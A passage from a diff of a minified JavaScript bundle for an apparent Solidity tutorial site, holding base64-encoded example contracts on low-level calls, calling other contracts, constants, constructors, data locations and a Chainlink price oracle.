KQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg0LCBndCh4LCAweEZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCgzLCBndCh4LCAweEZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMiwgZ3QoeCwgMHhGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMSwgZ3QoeCwgMHgzKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBndCh4LCAweDEpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgfQp9Cg=="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50IG1zYikgewogICAgICAgIC8vIHggPj0gMiAqKiAxMjgKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgewogICAgICAgICAgICB4ID4+PSAxMjg7CiAgICAgICAgICAgIG1zYiArPSAxMjg7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiA2NAogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gNjQ7CiAgICAgICAgICAgIG1zYiArPSA2NDsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDMyCiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMzI7CiAgICAgICAgICAgIG1zYiArPSAzMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDE2CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMCkgewogICAgICAgICAgICB4ID4+PSAxNjsKICAgICAgICAgICAgbXNiICs9IDE2OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogOAogICAgICAgIGlmICh4ID49IDB4MTAwKSB7CiAgICAgICAgICAgIHggPj49IDg7CiAgICAgICAgICAgIG1zYiArPSA4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNAogICAgICAgIGlmICh4ID49IDB4MTApIHsKICAgICAgICAgICAgeCA+Pj0gNDsKICAgICAgICAgICAgbXNiICs9IDQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAyCiAgICAgICAgaWYgKHggPj0gMHg0KSB7CiAgICAgICAgICAgIHggPj49IDI7CiAgICAgICAgICAgIG1zYiArPSAyOwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMQogICAgICAgIGlmICh4ID49IDB4MikgbXNiICs9IDE7CiAgICB9Cn0K"}],hm=`
                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                   
                   contract BitwiseOps {
                  @@ -3262,7 +3262,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,rm=({prev:s,next:a})=>i.jsx(u,{version:pm,title:em,description:cm,html:om,prev:s,next:a,codes:tm}),im="0.8.20",hm="Call",gm="In Solidity call is a low level function to interact with other contracts",dm=[{fileName:"Call.sol",code:"Ly8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HN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9hZGRyLmNhbGx7dmFsdWU6IG1zZy52YWx1ZSwgZ2FzOiA1MDAwfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImZvbyhzdHJpbmcsdWludDI1NikiLCAiY2FsbCBmb28iLCAxMjMpCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBSZXNwb25zZShzdWNjZXNzLCBkYXRhKTsKICAgIH0KCiAgICAvLyBDYWxsaW5nIGEgZnVuY3Rpb24gdGhhdCBkb2VzIG5vdCBleGlzdCB0cmlnZ2VycyB0aGUgZmFsbGJhY2sgZnVuY3Rpb24uCiAgICBmdW5jdGlvbiB0ZXN0Q2FsbERvZXNOb3RFeGlzdChhZGRyZXNzIHBheWFibGUgX2FkZHIpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZG9lc05vdEV4aXN0KCkiKQogICAgICAgICk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9Cn0K"}],Im=`

                  call is a low level function to interact with other contracts.

                  +`,gm=({prev:s,next:a})=>i.jsx(u,{version:tm,title:om,description:rm,html:hm,prev:s,next:a,codes:im}),dm="0.8.20",Im="Call",Cm="In Solidity call is a low level function to interact with other contracts",jm=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIG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CiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBSZXNwb25zZShzdWNjZXNzLCBkYXRhKTsKICAgIH0KCiAgICAvLyBDYWxsaW5nIGEgZnVuY3Rpb24gdGhhdCBkb2VzIG5vdCBleGlzdCB0cmlnZ2VycyB0aGUgZmFsbGJhY2sgZnVuY3Rpb24uCiAgICBmdW5jdGlvbiB0ZXN0Q2FsbERvZXNOb3RFeGlzdChhZGRyZXNzIHBheWFibGUgX2FkZHIpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZG9lc05vdEV4aXN0KCkiKQogICAgICAgICk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9Cn0K"}],um=`

                  call is a low level function to interact with other contracts.

                  This is the recommended method to use when you're just sending Ether via calling the fallback function.

                  However it is not the recommend way to call existing functions.

                  Few reasons why low-level call is not recommended

                  @@ -3311,7 +3311,7 @@ Each slot in the array can store 32 bytes.

                  emit Response(success, data); } } -`,Cm=({prev:s,next:a})=>i.jsx(u,{version:im,title:hm,description:gm,html:Im,prev:s,next:a,codes:dm}),jm="0.8.20",um="Calling Other Contract",ym="In Solidity, contract can call other contracts in several ways",mm=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50IHB1YmxpYyB4OwogICAgdWludCBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50IF94KSBwdWJsaWMgcmV0dXJucyAodWludCkgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQgX3gpIHB1YmxpYyBwYXlhYmxlIHJldHVybnMgKHVpbnQsIHVpbnQpIHsKICAgICAgICB4ID0gX3g7CiAgICAgICAgdmFsdWUgPSBtc2cudmFsdWU7CgogICAgICAgIHJldHVybiAoeCwgdmFsdWUpOwogICAgfQp9Cgpjb250cmFjdCBDYWxsZXIgewogICAgZnVuY3Rpb24gc2V0WChDYWxsZWUgX2NhbGxlZSwgdWludCBfeCkgcHVibGljIHsKICAgICAgICB1aW50IHggPSBfY2FsbGVlLnNldFgoX3gpOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldFhGcm9tQWRkcmVzcyhhZGRyZXNzIF9hZGRyLCB1aW50IF94KSBwdWJsaWMgewogICAgICAgIENhbGxlZSBjYWxsZWUgPSBDYWxsZWUoX2FkZHIpOwogICAgICAgIGNhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKENhbGxlZSBfY2FsbGVlLCB1aW50IF94KSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKHVpbnQgeCwgdWludCB2YWx1ZSkgPSBfY2FsbGVlLnNldFhhbmRTZW5kRXRoZXJ7dmFsdWU6IG1zZy52YWx1ZX0oX3gpOwogICAgfQp9Cg=="}],Am=`

                  Contract can call other contracts in 2 ways.

                  +`,ym=({prev:s,next:a})=>i.jsx(u,{version:dm,title:Im,description:Cm,html:um,prev:s,next:a,codes:jm}),mm="0.8.20",Am="Calling Other Contract",bm="In Solidity, contract can call other contracts in several ways",wm=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50IHB1YmxpYyB4OwogICAgdWludCBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50IF94KSBwdWJsaWMgcmV0dXJucyAodWludCkgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQgX3gpIHB1YmxpYyBwYXlhYmxlIHJldHVybnMgKHVpbnQsIHVpbnQpIHsKICAgICAgICB4ID0gX3g7CiAgICAgICAgdmFsdWUgPSBtc2cudmFsdWU7CgogICAgICAgIHJldHVybiAoeCwgdmFsdWUpOwogICAgfQp9Cgpjb250cmFjdCBDYWxsZXIgewogICAgZnVuY3Rpb24gc2V0WChDYWxsZWUgX2NhbGxlZSwgdWludCBfeCkgcHVibGljIHsKICAgICAgICB1aW50IHggPSBfY2FsbGVlLnNldFgoX3gpOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldFhGcm9tQWRkcmVzcyhhZGRyZXNzIF9hZGRyLCB1aW50IF94KSBwdWJsaWMgewogICAgICAgIENhbGxlZSBjYWxsZWUgPSBDYWxsZWUoX2FkZHIpOwogICAgICAgIGNhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKENhbGxlZSBfY2FsbGVlLCB1aW50IF94KSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKHVpbnQgeCwgdWludCB2YWx1ZSkgPSBfY2FsbGVlLnNldFhhbmRTZW5kRXRoZXJ7dmFsdWU6IG1zZy52YWx1ZX0oX3gpOwogICAgfQp9Cg=="}],km=`

                  Contract can call other contracts in 2 ways.

                  The easiest way to is to just call it, like A.foo(x, y, z).

                  Another way to call other contracts is to use the low-level call.

                  This method is not recommended.

                  @@ -3349,7 +3349,7 @@ Each slot in the array can store 32 bytes.

                  (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x); } } -`,bm=({prev:s,next:a})=>i.jsx(u,{version:jm,title:um,description:ym,html:Am,prev:s,next:a,codes:mm}),wm="0.8.20",km="Constants",Zm="Constant variables",Wm=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0gMHg3Nzc3ODg4ODk5OTlBYUFBYkJiYkNjY2NkZERkZWVlRWZGRmZDY0NjOwogICAgdWludCBwdWJsaWMgY29uc3RhbnQgTVlfVUlOVCA9IDEyMzsKfQo="}],Bm=`

                  Constants are variables that cannot be modified.

                  +`,Zm=({prev:s,next:a})=>i.jsx(u,{version:mm,title:Am,description:bm,html:km,prev:s,next:a,codes:wm}),Wm="0.8.20",Bm="Constants",Gm="Constant variables",fm=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0gMHg3Nzc3ODg4ODk5OTlBYUFBYkJiYkNjY2NkZERkZWVlRWZGRmZDY0NjOwogICAgdWludCBwdWJsaWMgY29uc3RhbnQgTVlfVUlOVCA9IDEyMzsKfQo="}],Vm=`

                  Constants are variables that cannot be modified.

                  Their value is hard coded and using constants can save gas cost.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                  @@ -3359,7 +3359,7 @@ Each slot in the array can store 32 bytes.

                  address public constant MY_ADDRESS = 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc; uint public constant MY_UINT = 123; } -
                  `,Gm=({prev:s,next:a})=>i.jsx(u,{version:wm,title:km,description:Zm,html:Bm,prev:s,next:a,codes:Wm}),fm="0.8.20",Vm="Constructor",vm="Learn how to initialize smart contracts in Solidity using a constructor",Ym=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikgewoKfQoKY29udHJhY3QgQyBpcyBYLCBZIHsKICAgIC8vIFBhc3MgdGhlIHBhcmFtZXRlcnMgaGVyZSBpbiB0aGUgY29uc3RydWN0b3IsCiAgICAvLyBzaW1pbGFyIHRvIGZ1bmN0aW9uIG1vZGlmaWVycy4KICAgIGNvbnN0cnVjdG9yKHN0cmluZyBtZW1vcnkgX25hbWUsIHN0cmluZyBtZW1vcnkgX3RleHQpIFgoX25hbWUpIFkoX3RleHQpIHt9Cn0KCi8vIFBhcmVudCBjb25zdHJ1Y3RvcnMgYXJlIGFsd2F5cyBjYWxsZWQgaW4gdGhlIG9yZGVyIG9mIGluaGVyaXRhbmNlCi8vIHJlZ2FyZGxlc3Mgb2YgdGhlIG9yZGVyIG9mIHBhcmVudCBjb250cmFjdHMgbGlzdGVkIGluIHRoZQovLyBjb25zdHJ1Y3RvciBvZiB0aGUgY2hpbGQgY29udHJhY3QuCgovLyBPcmRlciBvZiBjb25zdHJ1Y3RvcnMgY2FsbGVkOgovLyAxLiBYCi8vIDIuIFkKLy8gMy4gRApjb250cmFjdCBEIGlzIFgsIFkgewogICAgY29uc3RydWN0b3IoKSBYKCJYIHdhcyBjYWxsZWQiKSBZKCJZIHdhcyBjYWxsZWQiKSB7fQp9CgovLyBPcmRlciBvZiBjb25zdHJ1Y3RvcnMgY2FsbGVkOgovLyAxLiBYCi8vIDIuIFkKLy8gMy4gRQpjb250cmFjdCBFIGlzIFgsIFkgewogICAgY29uc3RydWN0b3IoKSBZKCJZIHdhcyBjYWxsZWQiKSBYKCJYIHdhcyBjYWxsZWQiKSB7fQp9Cg=="}],Rm=`

                  A constructor is an optional function that is executed upon contract creation.

                  +`,vm=({prev:s,next:a})=>i.jsx(u,{version:Wm,title:Bm,description:Gm,html:Vm,prev:s,next:a,codes:fm}),Ym="0.8.20",Rm="Constructor",Xm="Learn how to initialize smart contracts in Solidity using a constructor",Hm=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4d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JZIHdhcyBjYWxsZWQiKSBYKCJYIHdhcyBjYWxsZWQiKSB7fQp9Cg=="}],Fm=`

                  A constructor is an optional function that is executed upon contract creation.

                  Here are examples of how to pass arguments to constructors.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                  @@ -3414,7 +3414,7 @@ Each slot in the array can store 32 bytes.

                  contract E is X, Y { constructor() Y("Y was called") X("X was called") {} } -
                  `,Xm=({prev:s,next:a})=>i.jsx(u,{version:fm,title:Vm,description:vm,html:Rm,prev:s,next:a,codes:Ym}),Hm="0.8.20",Fm="Data Locations - Storage, Memory and Calldata",Nm="Data locations - storage, memory and calldata",Km=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludFtdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQgPT4gYWRkcmVzcykgbWFwOwogICAgc3RydWN0IE15U3RydWN0IHsKICAgICAgICB1aW50IGZvbzsKICAgIH0KICAgIG1hcHBpbmcodWludCA9PiBNeVN0cnVjdCkgbXlTdHJ1Y3RzOwoKICAgIGZ1bmN0aW9uIGYoKSBwdWJsaWMgewogICAgICAgIC8vIGNhbGwgX2Ygd2l0aCBzdGF0ZSB2YXJpYWJsZXMKICAgICAgICBfZihhcnIsIG1hcCwgbXlTdHJ1Y3RzWzFdKTsKCiAgICAgICAgLy8gZ2V0IGEgc3RydWN0IGZyb20gYSBtYXBwaW5nCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBteVN0cnVjdCA9IG15U3RydWN0c1sxXTsKICAgICAgICAvLyBjcmVhdGUgYSBzdHJ1Y3QgaW4gbWVtb3J5CiAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15TWVtU3RydWN0ID0gTXlTdHJ1Y3QoMCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2YoCiAgICAgICAgdWludFtdIHN0b3JhZ2UgX2FyciwKICAgICAgICBtYXBwaW5nKHVpbnQgPT4gYWRkcmVzcykgc3RvcmFnZSBfbWFwLAogICAgICAgIE15U3RydWN0IHN0b3JhZ2UgX215U3RydWN0CiAgICApIGludGVybmFsIHsKICAgICAgICAvLyBkbyBzb21ldGhpbmcgd2l0aCBzdG9yYWdlIHZhcmlhYmxlcwogICAgfQoKICAgIC8vIFlvdSBjYW4gcmV0dXJuIG1lbW9yeSB2YXJpYWJsZXMKICAgIGZ1bmN0aW9uIGcodWludFtdIG1lbW9yeSBfYXJyKSBwdWJsaWMgcmV0dXJucyAodWludFtdIG1lbW9yeSkgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIG1lbW9yeSBhcnJheQogICAgfQoKICAgIGZ1bmN0aW9uIGgodWludFtdIGNhbGxkYXRhIF9hcnIpIGV4dGVybmFsIHsKICAgICAgICAvLyBkbyBzb21ldGhpbmcgd2l0aCBjYWxsZGF0YSBhcnJheQogICAgfQp9Cg=="}],Sm=`

                  Variables are declared as either storage, memory or calldata to explicitly +`,Nm=({prev:s,next:a})=>i.jsx(u,{version:Ym,title:Rm,description:Xm,html:Fm,prev:s,next:a,codes:Hm}),Km="0.8.20",Sm="Data Locations - Storage, Memory and Calldata",xm="Data locations - storage, memory and calldata",Mm=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludFtdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQgPT4gYWRkcmVzcykgbWFwOwogICAgc3RydWN0IE15U3RydWN0IHsKICAgICAgICB1aW50IGZvbzsKICAgIH0KICAgIG1hcHBpbmcodWludCA9PiBNeVN0cnVjdCkgbXlTdHJ1Y3RzOwoKICAgIGZ1bmN0aW9uIGYoKSBwdWJsaWMgewogICAgICAgIC8vIGNhbGwgX2Ygd2l0aCBzdGF0ZSB2YXJpYWJsZXMKICAgICAgICBfZihhcnIsIG1hcCwgbXlTdHJ1Y3RzWzFdKTsKCiAgICAgICAgLy8gZ2V0IGEgc3RydWN0IGZyb20gYSBtYXBwaW5nCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBteVN0cnVjdCA9IG15U3RydWN0c1sxXTsKICAgICAgICAvLyBjcmVhdGUgYSBzdHJ1Y3QgaW4gbWVtb3J5CiAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15TWVtU3RydWN0ID0gTXlTdHJ1Y3QoMCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2YoCiAgICAgICAgdWludFtdIHN0b3JhZ2UgX2FyciwKICAgICAgICBtYXBwaW5nKHVpbnQgPT4gYWRkcmVzcykgc3RvcmFnZSBfbWFwLAogICAgICAgIE15U3RydWN0IHN0b3JhZ2UgX215U3RydWN0CiAgICApIGludGVybmFsIHsKICAgICAgICAvLyBkbyBzb21ldGhpbmcgd2l0aCBzdG9yYWdlIHZhcmlhYmxlcwogICAgfQoKICAgIC8vIFlvdSBjYW4gcmV0dXJuIG1lbW9yeSB2YXJpYWJsZXMKICAgIGZ1bmN0aW9uIGcodWludFtdIG1lbW9yeSBfYXJyKSBwdWJsaWMgcmV0dXJucyAodWludFtdIG1lbW9yeSkgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIG1lbW9yeSBhcnJheQogICAgfQoKICAgIGZ1bmN0aW9uIGgodWludFtdIGNhbGxkYXRhIF9hcnIpIGV4dGVybmFsIHsKICAgICAgICAvLyBkbyBzb21ldGhpbmcgd2l0aCBjYWxsZGF0YSBhcnJheQogICAgfQp9Cg=="}],Jm=`

                  Variables are declared as either storage, memory or calldata to explicitly specify the location of the data.

                  • storage - variable is a state variable (store on blockchain)
                  • @@ -3459,7 +3459,7 @@ specify the location of the data.

                    // do something with calldata array } } -`,xm=({prev:s,next:a})=>i.jsx(u,{version:Hm,title:Fm,description:Nm,html:Sm,prev:s,next:a,codes:Km}),Mm="0.8.20",Jm="Chainlink Price Oracle",zm="Chainlink Price Oracle",Em=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGltcG9ydCAiQGNoYWlubGluay9jb250cmFjdHMvc3JjL3YwLjgvaW50ZXJmYWNlcy9BZ2dyZWdhdG9yVjNJbnRlcmZhY2Uuc29sIjsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0gQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQgcHJpY2UsCiAgICAgICAgICAgIHVpbnQgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50IGFuc3dlciwKICAgICAgICAgICAgdWludCBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],Lm=`

                    ETH / USD Price Oracle

                    +`,zm=({prev:s,next:a})=>i.jsx(u,{version:Km,title:Sm,description:xm,html:Jm,prev:s,next:a,codes:Mm}),Em="0.8.20",Lm="Chainlink Price Oracle",Qm="Chainlink Price Oracle",_m=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGltcG9ydCAiQGNoYWlubGluay9jb250cmFjdHMvc3JjL3YwLjgvaW50ZXJmYWNlcy9BZ2dyZWdhdG9yVjNJbnRlcmZhY2Uuc29sIjsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0gQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQgcHJpY2UsCiAgICAgICAgICAgIHVpbnQgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAga